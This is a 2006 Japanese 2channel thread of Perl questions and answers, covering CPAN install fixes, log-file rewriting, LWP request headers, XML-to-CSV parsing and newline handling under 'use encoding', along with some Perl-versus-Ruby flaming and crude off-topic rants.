Perlについての質問箱 26箱目
レス数が1000を超えています。これ以上書き込みはできません。
0001デフォルトの名無しさん
2006/07/21(金) 01:17:31"There's more than one way to do it" ということで、Perlの奥深さについて皆で語り合い、追求してまいりましょう。
CGIについての質問は板違いです。WEBプログラミング板でどうぞ。
CGIとPerlの区別がつかない人もWEBプログラミング板に行ってください。
(WEBプログラミング板 http://pc8.2ch.net/php/ )
CGIの質問は答えがPerlと全然関係ない話に帰着する場合が多かったりするのでWEBプログラミング板に行って聞いたほうが得ですよ。
このスレでは(CGI以外の)純粋にPerlのみに関係する質問を取り扱っていこうと思います。
スレ違いの質問にはスルーか、速やかな誘導をお願いします。
http://www.perl.org/get.html
● 2006/07/21現在の最新版: 5.8.8
● 2006/07/21現在の開発版: 5.9.3
リンク集は>>2-3
過去スレは>>4
0002デフォルトの名無しさん
2006/07/21(金) 01:18:40Perlプログラミング講座: http://www.site-cooler.com/kwl/perl/
[本]
リャマ: http://www.oreilly.co.jp/books/4873111269/
駱駝: http://www.oreilly.co.jp/books/4873110963/
Effective Perl: http://www.ascii.co.jp/books/detail/4-7561/4-7561-3057-7.html
クックブック: http://www.oreilly.co.jp/books/4873112028/
[オンラインマニュアル] (追加)
最新のドキュメント: http://search.cpan.org/~nwclark/perl-5.8.8/
perl5.8.xのドキュメント(一部): http://www.kt.rim.or.jp/~kbk/perl-5.8/
perl5.005_03 のドキュメント: http://www.kt.rim.or.jp/~kbk/perl5.005/
日本語ドキュメント検索: http://www.cpan.jp/search.cgi
perldoc.jp: http://www.perldoc.jp/
Perldoc.com: http://www.perldoc.com/
0003デフォルトの名無しさん
2006/07/21(金) 01:19:48CPAN.com: http://search.cpan.org/
河馬屋二千年堂: http://homepage3.nifty.com/hippo2000/
[テクニック]
Perlメモ: http://www.din.or.jp/~ohzaki/perl.htm
Perlのページ: http://homepage1.nifty.com/nomenclator/perl/
Perlの小技: http://homepage3.nifty.com/hippo2000/perltips/index.htm
[Perl5.8Unicodeメモ]
http://www.pure.ne.jp/~learner/program/Perl_unicode.html
http://www.namazu.org/~tsuchiya/perl/perl-5.8.html
http://www.lr.pi.titech.ac.jp/~abekawa/perl/perl_unicode.html
0004デフォルトの名無しさん
2006/07/21(金) 01:20:551 ttp://pc.2ch.net/tech/kako/1017/10177/1017736187.html
2 ttp://pc3.2ch.net/tech/kako/1033/10336/1033688230.html
3 ttp://pc2.2ch.net/tech/kako/1041/10412/1041205885.html
4 ttp://pc2.2ch.net/tech/kako/1048/10485/1048519394.html
5 ttp://pc5.2ch.net/tech/kako/1053/10530/1053053082.html
6 ttp://pc5.2ch.net/tech/kako/1060/10606/1060689008.html
7 ttp://pc2.2ch.net/test/read.cgi/tech/1068051036/
8 ttp://pc2.2ch.net/test/read.cgi/tech/1074151549/
9 ttp://pc5.2ch.net/test/read.cgi/tech/1079114157/
10 ttp://pc5.2ch.net/test/read.cgi/tech/1085564875/
11 ttp://pc5.2ch.net/test/read.cgi/tech/1090889189/
12 ttp://pc5.2ch.net/test/read.cgi/tech/1094579428/
13 ttp://pc5.2ch.net/test/read.cgi/tech/1097851764/
14 ttp://pc5.2ch.net/test/read.cgi/tech/1101649274/
15 ttp://pc5.2ch.net/test/read.cgi/tech/1105953092/
16 ttp://pc8.2ch.net/test/read.cgi/tech/1111034732/
17 ttp://pc8.2ch.net/test/read.cgi/tech/1117870308/
18 ttp://pc8.2ch.net/test/read.cgi/tech/1121804136/
19 ttp://pc8.2ch.net/test/read.cgi/tech/1126977805/
20 ttp://pc8.2ch.net/test/read.cgi/tech/1131286411/
21 ttp://pc8.2ch.net/test/read.cgi/tech/1134327348/
22 ttp://pc8.2ch.net/test/read.cgi/tech/1138519327/
23 ttp://pc8.2ch.net/test/read.cgi/tech/1141742901/
24 ttp://pc8.2ch.net/test/read.cgi/tech/1146022352/
25 ttp://pc8.2ch.net/test/read.cgi/tech/1149259409/
0005デフォルトの名無しさん
2006/07/21(金) 04:00:16echo ">>1乙\n";
}
0006デフォルトの名無しさん
2006/07/21(金) 06:25:030007デフォルトの名無しさん
2006/07/21(金) 06:35:16(Do you need to predeclare echo?)
0008酩酊 ◆TWARamEjuA
NGNG0009デフォルトの名無しさん
2006/07/21(金) 08:19:100010デフォルトの名無しさん
2006/07/21(金) 09:33:070011929
2006/07/21(金) 23:47:17>SpTemplate->default_escape('html')
と、言うわけで変更(「SpTemplate->default_escape('html')」or「SpTemplate::default_escape('html')」)
>>989
>ループのデータセットは、配列参照かハッシュ参照なのか。
どっちでもOK
SpTemplate->new('param'=>{'aaa'=>[{'bbb'=>'ccc'},{'ddd'=>'eee'}]});
SpTemplate->new('param'=>{'aaa'=>{'bbb'=>'ccc'});
上記のいずれでも「[%loop name="aaa"%][%name="bbb"%][%/loop%]」(or 「[%local name="aaa"%][%name="bbb"%][%/local%]」)で参照できる。
(が、そこにバグがあったのでさっき修正)
>DBからのレコードセットとかの場合どう対処するの?
これは悩み中。
遅延入力(サブルーチンレファレンスの評価)は問題ないけど、非遅延出力は自動でhttpヘッダつける機能があるので面倒。
(データの全取得後、httpヘッダが書かれているかどうか判断し、なければ追加する機能)
標準出力(or 渡されたFH)への直接出力モード時を実装して、
そのモード時のみhttpヘッダをつけなければ実装は楽だけど、出力結果が出力モードに依存するのはいや。
出力が遅延している以上、入力が遅延してもあんまり意味ないし、どう実装するか考え中。
(httpヘッダを認識する範囲だけバッファして、それ以後は出力モード依存かなぁ)
0012デフォルトの名無しさん
2006/07/22(土) 20:37:13CPAN: Storable loaded ok
Going to read /root/.cpan/Metadata
Database was generated on Fri, 21 Jul 2006 06:29:17 GMT
省略
Removing previously used /root/.cpan/build/Date-Simple-3.02
CPAN.pm: Going to build Y/YV/YVES/Date-Simple-3.02.tar.gz
Enabling XS code.
If you get errors, run `make distclean'
and try again using `perl Makefile.PL noxs'.
Checking if your kit is complete...
Looks good
Writing Makefile for Date::Simple
make: don't know how to make 1. Stop
/usr/bin/make 1 -- NOT OK
Running make test
Can't test without successful make
Running make install
make had returned bad status, install seems impossible
ってなって
下記をスクリプト上に定義すれば動く。
use lib '/root/.cpan/build/Date-Simple-3.02/lib'
しかし、/usr/local/lib/perl5 配下のディレクトリに自動ではいってくれないかね。
助けておくれ。
0013デフォルトの名無しさん
2006/07/22(土) 20:57:48コンパイル段階のmake中にエラー起こしてるな
> /usr/bin/make 1 -- NOT OK
こっちでは再現しないしMakefile中にそれっぽいのが見当たらないのだけれど、
とりあえず書いてある通りにnoxsでやってみたらどう?
/root/.cpan/build/Date-Simple-3.02ディレクトリで
make distclean
perl Makefile.PL noxs
make && make test && make install
001413
2006/07/22(土) 21:05:29これやってみてくれ。
cpan> o conf make_arg
多分、
make_arg [1]
となると思う。なってたら
cpan> o conf make_arg ""
で消して
cpan> o conf commit
で保存しる
0015デフォルトの名無しさん
2006/07/22(土) 21:08:55Installing /usr/local/lib/perl5/site_perl/5.8.8/Date
でとりあえずインストールできた。
ありがとう。
しかし、毎回これが必要だとしんどいな〜
RedHat8,9 CentOS4系のcpanの時は、こんなことなかったのに。
FreeBSD6.1では、ふむ〜。。。。
0016デフォルトの名無しさん
2006/07/22(土) 21:15:27ためしに
cpan>install LWP::Simple
したら、OKだった。
×make_arg 1
↓
○make_arg
だったのか〜
ご教授ありがとう。
0017デフォルトの名無しさん
2006/07/23(日) 23:57:49ttp://enbug.tdiary.net/20060722.html#p01
0018デフォルトの名無しさん
2006/07/24(月) 00:23:120019デフォルトの名無しさん
2006/07/24(月) 00:31:34誤解されそうなんで言っておくがruby使いのみながみなこんなんだって訳じゃないぞ。
つーかPHP厨の陰謀ってことで。
0020デフォルトの名無しさん
2006/07/24(月) 01:39:00Ruby厨乙www
0021デフォルトの名無しさん
2006/07/24(月) 02:04:08おまいらもっと現実を見詰めようとは思わないのか?
生え抜きのPerlユーザーにすら見放されてるんだぞ
>私が思うに、RubyはPerlの守備範囲を何なくカバーしてしまっているので、
>Rubyが使えるとPerlは要らないんですよね。
>すでにPerlで書かれているプログラムを別にすれば。
>それ以来、Perlはawkと同様に「使えるけれど、大して要らないプログラム」となりました。
>と言いつつ、私はsedやawkは結構使ってますけど。
漏れがタイトルつけるとしたら
「Perl、終わったな」
0022デフォルトの名無しさん
2006/07/24(月) 02:17:16「Rubyってなに?Perlじゃだめなの?」
「えーと、Rubyってゆーのはオブジェクトしこうのすくあqwsでrftgyふじこl」
「いいからPerlで作ってよ」
「。。。はい」
結論:Perlは終わらない
0023デフォルトの名無しさん
2006/07/24(月) 02:29:00Perlコミュニティの勢いのなさはすごく感じるな。
Perl6が失敗だったんだと思う。
5までのように、「汚いし保守できないけど、とりあえずしたいことがすぐできる言語」
という方向性のままで発展していけばよかったのに、「綺麗さ」「理想」を求める
プログラミング業界全体の流れに流されて方向性を見失ってしまったんじゃないかと思う。
0024デフォルトの名無しさん
2006/07/24(月) 02:54:150025デフォルトの名無しさん
2006/07/24(月) 03:15:010026デフォルトの名無しさん
2006/07/24(月) 04:14:27Perl6っていつリリースされたの?
知らなかったorz
0027デフォルトの名無しさん
2006/07/24(月) 04:30:02だめだこりゃ
0028デフォルトの名無しさん
2006/07/24(月) 10:36:410029デフォルトの名無しさん
2006/07/24(月) 10:56:41↓
0030デフォルトの名無しさん
2006/07/24(月) 11:14:02まあ、PerlerもRubyけなしてるし、るびきちもPerlをけなしてる感じはするけどな。どっちもどっち。
でもPerlはちょっと古臭くなった感がある。
0031デフォルトの名無しさん
2006/07/24(月) 11:30:500032799
2006/07/24(月) 11:43:49だいたいfailmallocとかいってるが
mallocが失敗する状況でできることなんてどうせ何もないんだから
それに対していちいちエラートラップする意味がわからん
perlは優れている
何が良いってperlクックブックがいい
あんなに包括的なプログラミングの解説書は見たことがない
いや、あるんだけど日本語ではない
CPANに行けばあらゆるジャンルのコードが読み放題
ラクダ本は旅の友に最適
failmallocの記事では最近の若い奴らはmallocが失敗する経験なんて
ないだろうから、そういう経験をすべきだなんて書いてあるが
それこそperlの晴れの場だろう
誰かが言っていた
「普段疑問が投げかけられないものほど、むしろ疑え」
「例えばそれはCだ」
「Cの中途半端な抽象化で多くの貴重な時間という資源が失われた」
と。
私も提言しよう私たちは以下の言葉を疑ってかからねばならない
「きれいで読みやすいコードは保守しやすくて幸せ」
皆この文意を取り違えている
きれいで読みやすいコードがよいのではない
コードをきれいで読みやすくする過程でプログラマがする経験や思考がよいのだ
私たちが読みたいのは小学生でも読めるおとぎ話なのか?
いいや違う。私たちが読みたいのは掘れば掘るほど雫が溢れて来るマンコなのだ
逆説的だが複雑さこそが効率へ貢献するのだ
読みやすいコードばかりなら能力の低い派遣や新卒にだって読めるだろう
だがかれらは「てにをは」を直すことはできるかもしれないがマンコは掘れないだろう
それでこの業界は幸せになれるのだろうか
私はそうは思わないのだが。
0033デフォルトの名無しさん
2006/07/24(月) 11:50:25くだらん好き嫌い問題を議論してないで好きな言語を使ってればいいだろ。
0034デフォルトの名無しさん
2006/07/24(月) 11:55:470035デフォルトの名無しさん
2006/07/24(月) 13:07:590036デフォルトの名無しさん
2006/07/24(月) 13:11:320037799
2006/07/24(月) 13:52:34perlはOOPをやめるべきなのである
Beyond Javaという本にperlについてこう書かれている
「歴史がありとても興味深い言語だがOOPがキモ過ぎる」
これはとても本質を突いていると思うマンコの
今は猫も杓子もしゃくとりむしもOOPだとわめいている
しかしそれが一体どれだけ時間を無駄にしているのか
彼らはあまりに理解していなさ過ぎる
パターンだイディオムだと騒ぐのはいいが、お前らコードを
書いているのか?と問いたい
我々はコンサルタントではない。熟慮して設計して、それから
やっとコーディングを始めるなんて馬鹿げている
テストファースト?なんて下らないんだ。私はエロ画像のurlが手に入れば
それでいいのである
ファクトリメソッドはこうで・・・ええとここはテンプレートメソッドで、
ああテストのテンプレートも作らなきゃ・・・
などと考えているうちにエロ画像はサーバから消されてしまうのである
断言するが我々は原点に返らねばなるまい
テストファーストではない
エロファーストである
諸君思い出してみるがいい。あなたは何のためにコードを書くのだ?
顧客とwin-winになるため?世界平和?
全然、違うだろうが!!
私もあなたもプッシーです
0038デフォルトの名無しさん
2006/07/24(月) 14:02:240039デフォルトの名無しさん
2006/07/24(月) 14:10:510040デフォルトの名無しさん
2006/07/24(月) 14:49:17ドラゴンボールの中ではフリーザが好きです。 まで読んだ
0041デフォルトの名無しさん
2006/07/24(月) 15:07:40ただ自分が使わないってだけで良い悪いなんてのはないしな。
悪いのがあるとしたら言語のせいにしてソースを汚く書く奴だ。
0043デフォルトの名無しさん
2006/07/24(月) 21:39:56おまえそんな長文を投入する勇気が良くあるな
微妙に色々勉強してるのが笑える
0044デフォルトの名無しさん
2006/07/25(火) 03:00:540045デフォルトの名無しさん
2006/07/25(火) 07:33:14CPANモジュールがほとんどOOPに置き換わっているのは
お前の考えと異なっている奴のほうが圧倒的に多いという事実を示しているよ。
0046デフォルトの名無しさん
2006/07/25(火) 07:45:16他の言語で使う分にはまんざらでもない
PerlでOOPってかなり見苦しいと思う
0047デフォルトの名無しさん
2006/07/25(火) 09:35:53いいとこ取りしてスクリプトの決定版になってほしい。
0048799
2006/07/25(火) 09:54:27ラリーが確か「私の実装能力はもうわかったらデザインに集中
することにする」みたいなこといってたような・・・
つまりラリーが設計のみに集中するようになったはいいが
実装者が実はラリーくらいしかいなかったと
0049デフォルトの名無しさん
2006/07/25(火) 11:24:060050デフォルトの名無しさん
2006/07/25(火) 11:49:160051デフォルトの名無しさん
2006/07/25(火) 11:58:250052デフォルトの名無しさん
2006/07/25(火) 13:44:580053デフォルトの名無しさん
2006/07/25(火) 16:16:27別に普通だったよ。というか、普通過ぎて、もっと良く書けるだろって感じ。
あと変なマクロの嵐で頭痛くなった。
実装から手を引くのもなんとなく分かる。
ラリーはRubyも勉強したけど、結局Perl6にはあまり取り入れなかった。
しかも、やっぱり自然言語を目指すという変な方向に行っちゃった。
で、いまんとこ実装できるパワーがありそうなのは、鳳タンくらい?
0054デフォルトの名無しさん
2006/07/25(火) 20:24:120055デフォルトの名無しさん
2006/07/25(火) 20:41:200056デフォルトの名無しさん
2006/07/25(火) 21:34:230057デフォルトの名無しさん
2006/07/25(火) 22:05:220058デフォルトの名無しさん
2006/07/25(火) 22:15:47開発パワーの優劣だよなあ。
0059デフォルトの名無しさん
2006/07/25(火) 22:33:480060デフォルトの名無しさん
2006/07/25(火) 23:13:58あれだ 大学で外国語とるけど普段は日本語 みたいな
0061デフォルトの名無しさん
2006/07/25(火) 23:20:320062デフォルトの名無しさん
2006/07/25(火) 23:35:420063デフォルトの名無しさん
2006/07/25(火) 23:50:120064デフォルトの名無しさん
2006/07/26(水) 00:17:530065デフォルトの名無しさん
2006/07/26(水) 00:23:19JavaかRubyか、マニアックにcrowbarとかもいいかもな。
むしろ国産のcrowbarしかねえだろ。crowbar勉強しよう。みんなでcrowbarだ。サンプル言語だけど。
0066デフォルトの名無しさん
2006/07/26(水) 00:53:200067デフォルトの名無しさん
2006/07/26(水) 00:57:380068デフォルトの名無しさん
2006/07/26(水) 01:13:11どんな言語なの?
0069デフォルトの名無しさん
2006/07/26(水) 01:24:460070デフォルトの名無しさん
2006/07/26(水) 02:05:05弁えて遊んでる連中よりお前の方が。
0071デフォルトの名無しさん
2006/07/26(水) 04:07:22OBJ~Sujiman => (i) => (O) ;cupar
("Hello, World") => %DISP <= (O) ;echo
() => (null) ;goodbye
0072デフォルトの名無しさん
2006/07/26(水) 04:26:35CPANのサイトに
authors/01mailrc.txt.gz
modules/02packages.details.txt.gz
modules/03modlist.data.gz
ってあるじゃん?
誰かこれの作り方知らない?
要はCPANのミラーサイト作ってバージョン管理したいわけなんだけどさ・・・
0073デフォルトの名無しさん
NGNG0074デフォルトの名無しさん
2006/07/26(水) 12:06:08欲してるのはCPAN::Miniかなぁ?
0075デフォルトの名無しさん
2006/07/26(水) 15:46:17yahoo等の検索エンジンでは、ユーザーから入力された検索ワードを
「分解、オプション解釈」して処理していますが、
この処理を提供するライブラリ等は無いでしょうか?
0076デフォルトの名無しさん
2006/07/26(水) 16:07:16加藤<>500点<>まぁまぁ\n
石橋<>2380点<>すごい\n
山本<>120点<>ヤバい\n
萩本<>20点<>しょぼい\n
と言った形式のログファイルがあります。(ちょっとしたゲームのポイントを格納してます)
あるページで名前を入れて送信するとその人の名前と得点、コメントを表示する機能を作りたいのですが
例えば山本さんがまた同じゲームをしたとするとlogファイルへ更に山本さんのデータが追加されてしまい、
名前を入れて送信機能を使うと山本さんの二回分の得点とコメントが表示されてしまいます。
(一番最新のものだけ表示したいのです。)
無理矢理一番最後のものだけ表示する、というやり方なら出来たのですが
できれば過去の記録は要らないので消してしまいたいのです。
今回でいくと 『山本<>120点<>ヤバい\n』 の行です。
効率を考えてゲームのポイント送信時にその人の名前をチェック、
point.logに同じ名前があればその行を削除、その後point.logへその人の新しいデータを追加
という処理を行ってみたのですがどうにも上手くいきません。
(実際に自分で書いたものがあるのですが、
ここからではちょっとスペースが足りなかったようです。要望があれば書きます。)
知恵をお貸し頂けると嬉しいです。長文すみません。よろしくお願いします。
0077デフォルトの名無しさん
2006/07/26(水) 16:15:52>無理矢理一番最後のものだけ表示する、というやり方なら出来たのですが
ということなら、重複した不要行がファイルのどの位置にあるか
具体的に分かることが可能ですよね。
であれば「一番最後のものだけ表示」した後、不要行の削除処理を行えば
処理効率もよいかと思います。
0078デフォルトの名無しさん
2006/07/26(水) 16:22:05point.logがどれだけサイズがでかくなるかはわからないが、
名前をキーに全部データをハッシュに入れてしまえばよいのでは?
見た感じ、コメントの部分は点数を見て判断できそうなのでpoint.logは「名前<>点数」だけでいいような気がするが。
で「名前」をキー。「点数」を値としたハッシュ作れば簡単に出来そうな感じがする。
0079デフォルトの名無しさん
2006/07/26(水) 16:24:030080デフォルトの名無しさん
2006/07/26(水) 16:32:28> point.log
> 加藤<>500点<>まぁまぁ\n
> 石橋<>2380点<>すごい\n
> 山本<>120点<>ヤバい\n
> 萩本<>20点<>しょぼい\n
この変なフォーマットは必須なのか?
なぜこんな異常なことをやってるの?
0081デフォルトの名無しさん
2006/07/26(水) 16:32:35perldoc -f dbmopen
0082デフォルトの名無しさん
NGNGMeCabとか?
0083デフォルトの名無しさん
2006/07/26(水) 16:45:10吹いた(笑)
0084デフォルトの名無しさん
2006/07/26(水) 16:48:55自演乙。
008572
2006/07/26(水) 16:56:29CPAN::Miniって ドキュメントざっとみてみましたが、
CPANから特定の部分のミラーを作るって感じですよね?
具体的には現在ある.cpan/sourcesの下をCPANサイトに仕立てたいのです。
0086デフォルトの名無しさん
2006/07/26(水) 16:56:53DBD::AnyData::st->fetchなどでrowを読み切ったときにActive属性がちゃんとリセットされるように
思うのですが,この書き換えでの副作用はあるでしょうか?
0087デフォルトの名無しさん
2006/07/26(水) 18:18:24$who ='山本';
open(IN,"<","point.log")
open(OUT,">","point.log.new")
while(<IN>){
next if /^\Q$who\E</;
print OUT;
}
print OUT 山本の最新のデータ
close(IN)
close(OUT)
0088デフォルトの名無しさん
2006/07/26(水) 18:59:56>「分解、オプション解釈」して処理していますが
質問内容はクエリーの解析まで?
それとも「クエリー解析して処理」まで?
namazuとかheじゃだめなの?
http://www.namazu.org/
http://hyperestraier.sourceforge.net/index.html
>>82
MeCabは文章の形態素解析で、検索クエリーの解析はしてくんないべ。
0089デフォルトの名無しさん
NGNGEstraierか、、そんなのもありましたね
MeCabはわかち書きで似たようなことが出来るかなーとか…
0090デフォルトの名無しさん
2006/07/26(水) 20:18:54分かち書きとN-gramは実行時に切り替え可能
やほーの「分解、オプション解釈」がどんなもんだかしらんので
比較はできんが
0091デフォルトの名無しさん
2006/07/26(水) 23:49:10install A::B
バージョンを指定してインストールすることってできますか?
その場合、その昔のバージョンとその時の依存関係は保たれながらインストールされますかね?
0092デフォルトの名無しさん
2006/07/26(水) 23:49:41install A::B -> cpan> install A::B
0093デフォルトの名無しさん
2006/07/26(水) 23:57:070094デフォルトの名無しさん
2006/07/27(木) 04:20:24それってid以下を指定してやる、
install A/AB/ABCD/Hogehoge-1.20.tar.gz
ってやつ?
0095デフォルトの名無しさん
2006/07/27(木) 05:48:26じゃあCPAN::Siteかなぁ?
0096デフォルトの名無しさん
2006/07/27(木) 08:23:18SELECT @max_age := MAX(age) FROM data;
SELECT * FROM data WHERE age = @max_age
を実行すると
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ';
というエラーが出ます。mysqlクライアントからは正常に結果が表示されます。
1つのステートメントハンドルに結びつけられないためかと思いますが
Perl + dbiで複数のSQL文を発行するベターな方法ありませんか?
0097デフォルトの名無しさん
2006/07/27(木) 10:44:37以下のスクリプトを書いていて、そこまではうまくいってるんですが、
ヘッダーを追加して送信する場合、どのようにしたらいいんでしょう?
以下のようなヘッダーを追加する方法を教えてください。
ヘッダー名:HOGE
値:HOGEHOGE
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Request::Common qw(POST);
# リクエストの生成
my $url = 'https://hoge.jp/~test/cgi-bin/login.cgi';
my %formdata = ('type' => 'login','ID' => 'ID', 'PW' => 'PW');
my $request = POST($url,[%formdata]);
# UserAgentを生成して処理
my $ua = LWP::UserAgent->new;
my $res = $ua->request($request);
print $res->as_string;
0098デフォルトの名無しさん
2006/07/27(木) 11:39:19そのくらいperldocで調べろよ
0099デフォルトの名無しさん
2006/07/27(木) 11:42:05$request->header("HOGE","HOGEHOGE");
0100デフォルトの名無しさん
2006/07/27(木) 11:55:07・ @ はエスケープしたか?
・ 複数のSQL文を連続実行したいならトランザクションか排他を使え。
010196
2006/07/27(木) 12:53:45@はエスケープしました。
トランザクション、排他だとパフォーマンスが劣りますしロジックが冗長的になってしまいます。
MySQL++では
MYSQLPP_EXPORT Result store_next ()
Return next result set, when processing a multi-query.
のような関数があるのですがdbiで同じ事をするのは現時点では不可能なのでしょうか。
010276
2006/07/27(木) 15:23:05返信してくださった皆さんありがとうございました。
レス遅れてすみません・・。
0103デフォルトの名無しさん
2006/07/27(木) 17:52:49報告を受ける側としてはそこが重要
0104デフォルトの名無しさん
2006/07/27(木) 18:48:03そんなエラーでないけど・・・
SELECT * FROM data WHERE age = (SELECT MAX(age) FROM data);
いろんなもん実行したいんだったら関数登録しとけばー?
0105デフォルトの名無しさん
2006/07/27(木) 22:46:01>>103
山本さんが二人いたら?
0106デフォルトの名無しさん
2006/07/27(木) 22:52:05一人は太郎さん?
0107デフォルトの名無しさん
2006/07/28(金) 00:23:12そしてもう一人を五郎にして解決?
0108Perl not Pearl
2006/07/28(金) 00:42:394331
…
[EOF]
のようにデータの入ったファイルからリダイレクトで標準入力
からデータを入力するときに、EOFも取り込まれてしまうの
ですが、取り込まれないようにする方法はありますでしょう
か?今は以下のように、わざわざ配列からpopしてEOFを
捨てています。
@a = <STDIN>;
chomp(@a);
pop @a;
0109デフォルトの名無しさん
2006/07/28(金) 02:23:04chomp($tre=<STDIN>);
0110デフォルトの名無しさん
2006/07/28(金) 03:24:47必要な分だけ渡せばいいものを
「わざわざ」なのはそんな文字付けてる方だよ
配列使うならpopが無難
0111Perl not Pearl
2006/07/28(金) 05:58:42>>110
ありがとうございます。
今、ヤフー掲示板のスレッドを、見やすいように、100くらいの投稿
をまとめてダウンロードして、表示させるプログラムを作っているので
すが、いろいろ不可解な問題が発生しています。
不可解な点をひとつずつ質問させてください。
まず一つ目の質問ですけれども、
3つのプログラムで、同じ結果が得られると私が思うプログラム
で結果が異なってしまいます。意図した結果が得られるものと
不可解な結果が得られるものがあります。
0112Perl not Pearl
2006/07/28(金) 06:02:04コマンドライン入力: perl yahoo_bbs.pl
出力結果: 4314.html4331.html
これは意図通りの結果です。
#!/usr/bin/perl -w
use strict;
use LWP 5.64; # 必要なLWPクラス(バージョン5.64以降)をすべてロードする。
use Encode;
use encoding 'shiftjis'; # 使用しているプラットフォームにあわせてください。
binmode(STDERR, ':raw :encoding(shiftjis)'); # 同上
#my @stock_codes = <STDIN>;
#chomp(@stock_codes);
my @stock_codes = (4314, 4331);
my $stock_code;
foreach $stock_code(@stock_codes){
my $output_file = "$stock_code.html";
print $output_file;
#print $stock_code;
}
0113Perl not Pearl
2006/07/28(金) 06:08:15コマンドライン入力: perl yahoo_bbs.pl < yahoo_bbs.txt
出力結果: .html4331
入力ファイル yahoo_bbs.txtの中身:
4314
4331
これは私としては、不可解な結果です。
#!/usr/bin/perl -w
use strict;
use LWP 5.64; # 必要なLWPクラス(バージョン5.64以降)をすべてロードする。
use Encode;
use encoding 'shiftjis'; # 使用しているプラットフォームにあわせてください。
binmode(STDERR, ':raw :encoding(shiftjis)'); # 同上
my @stock_codes = <STDIN>;
chomp(@stock_codes);
#my @stock_codes = (4314, 4331);
my $stock_code;
foreach $stock_code(@stock_codes){
my $output_file = "$stock_code.html";
print $output_file;
}
0114Perl not Pearl
2006/07/28(金) 06:11:41コマンドライン入力: perl yahoo_bbs.pl < yahoo_bbs.txt
出力結果: 4314.html4331.html
入力ファイル yahoo_bbs.txtの中身:
4314
4331
これは意図した通りの結果です。
#!/usr/bin/perl -w
#use strict;
#use LWP 5.64; # 必要なLWPクラス(バージョン5.64以降)をすべてロードする。
#use Encode;
#use encoding 'shiftjis'; # 使用しているプラットフォームにあわせてください。
#binmode(STDERR, ':raw :encoding(shiftjis)'); # 同上
my @stock_codes = <STDIN>;
chomp(@stock_codes);
#my @stock_codes = (4314, 4331);
my $stock_code;
foreach $stock_code(@stock_codes){
my $output_file = "$stock_code.html";
print $output_file;
}
0115Perl not Pearl
2006/07/28(金) 06:13:49は(プログラム2) ではなく(プログラム3)です。
(プログラム2)と(プログラム3)の違いはライブラリ
関係の部分をコメントアウトしているか否かだけです。
0116デフォルトの名無しさん
2006/07/28(金) 08:40:07(2)は\x0d をエスケープせずに表示したからカーソルが行頭に戻ってる。
改行コードにまつわる問題を追跡するときは、デバッグ表示に何らかのエスケープを行うこと
encoding ありの場合は $/ と実際の改行が異なるのでchompではうまく処理できない。
$/ を変更するか、s/[\x0d\x0a]+//g を使うこと
#!/usr/bin/perl -w
use encoding 'shiftjis';
sub uriescape($){my $a=shift;$a=~s/(\W)/'%' . unpack('H2', $1)/eg;return $a}
print "IRS=",uriescape($/),"\n";
my @list = <STDIN>;
print "before: ",join(',',map{uriescape $_} @list),"\n";
chomp(@list);
print "after: ",join(',',map{uriescape $_} @list),"\n";
0117デフォルトの名無しさん
2006/07/28(金) 08:45:29必要ない制御コードは全て入力から取り除くという考え方の方が正しい。
0118デフォルトの名無しさん
2006/07/28(金) 12:17:570119デフォルトの名無しさん
2006/07/28(金) 12:58:48どうすればよいでしょうか。参照urlでもなんでもよいので、知っている人教えて。
この質問ここでいいのかな?
<?xml version='1.0' encoding='UTF-8'?>
<data>
<table name="TBL_COMPANY">
<col>ID</col>
<col>NAME</col>
<row>
<val>0001</val>
<val>SANY</val>
</row>
<row>
<val>0002</val>
<null/>
</row>
</table>
<table name="TBL_USER">
..続く
</data>
↓
ID,NAME
0001,SANY
0002,
0120デフォルトの名無しさん
2006/07/28(金) 13:12:490121デフォルトの名無しさん
2006/07/28(金) 13:29:12XML::Parserでも使っと毛。
つーかXMLは元々テキストファイルだが?
0122デフォルトの名無しさん
2006/07/28(金) 14:06:31>>121 調べたんだけど、なんかそれむずかしそ。もう少し調べてみるか。
XML-Simpleってのは、どうでしょうか。あー、xml少し勉強しないとな。
0123119
2006/07/28(金) 15:50:46<val>の他に、
<null/>があって、
どう対応すればいいのかわからない。うーん。
0124デフォルトの名無しさん
2006/07/28(金) 15:52:32ここにいる人々はおまえが何をやりたいのか分からない。
0125デフォルトの名無しさん
2006/07/28(金) 16:21:44質問する時はあなたを知らない人にあなたの意思が伝わるようにきちんと説明しましょう。
回答者はエスパーではないです。
0126デフォルトの名無しさん
2006/07/28(金) 16:54:35分からんけど、XML解析する前に '<null/>' 削除するとかは?
0127Perl not Pearl
2006/07/28(金) 19:28:12>>117
よく意味がわかりませんが、文字コードが原因なのですね。
文字コード超研究 (単行本)
深沢 千尋
でも買って読んでみます。
しかし、こんな簡単なコードでも問題が起きるとは。。。
一応、スパイダリングハックスっていう本のコードをコピーしたの
ですが。。。
0128Perl not Pearl
2006/07/28(金) 19:28:46>>117
ありがとうございました。
0129デフォルトの名無しさん
2006/07/28(金) 19:39:23>こんな簡単なコードでも問題が起きる
Perlは元々unix環境で使ってナンボだからな。
Windows環境で5.8以降はいくつか問題がある。
有名なのだとcp932とsjisの違いとか。
0130123
2006/07/28(金) 19:44:37<row></row>の間が<val>だけのデータなら、ハッシュ名指定でデータ取ればいいんだけど、
nullデータの時は、<val></val>ではなく、<null/>のようになります。
サンプルデータ。
<row>
<val>a</val>
<null/>
<val>b</val>
<null/>
<row>
これを、csvなり、タブ形式なりで取りたいので、
--
a,,b,
--
の様な形式で取得したいと思っています。
ソース抜き出すと、
while(my ($name, $table) = each(%{$tree->{table}})) {
for my $val (@{$table->{row}[0]}->{val}){
このようになるのですが、ハッシュ名指定以外で取る方法がわからない。
一行ずつ読んでデータ取ったほうがいいかな。
0131デフォルトの名無しさん
2006/07/28(金) 20:09:080132デフォルトの名無しさん
2006/07/28(金) 20:21:57パース中にタグが登場した時点でイベントハンドラ呼ばれるから、そこで好きなようにデータ構造を構築できる。
0133デフォルトの名無しさん
2006/07/28(金) 20:28:01どもです。
内部でタグの変更ですね。XML::Parser。難しそうだけど調べてみます。
0134デフォルトの名無しさん
2006/07/28(金) 20:31:270135デフォルトの名無しさん
2006/07/28(金) 20:43:420136116,117,129,132
2006/07/28(金) 20:51:100137デフォルトの名無しさん
2006/07/28(金) 20:59:38以下、敬語以外禁止となります。
--
0138デフォルトの名無しさん
2006/07/28(金) 21:12:150139デフォルトの名無しさん
2006/07/28(金) 21:34:22質問者の方はお待ちいただく形になりますが、
質問のほうはよろしかったでしょうか?
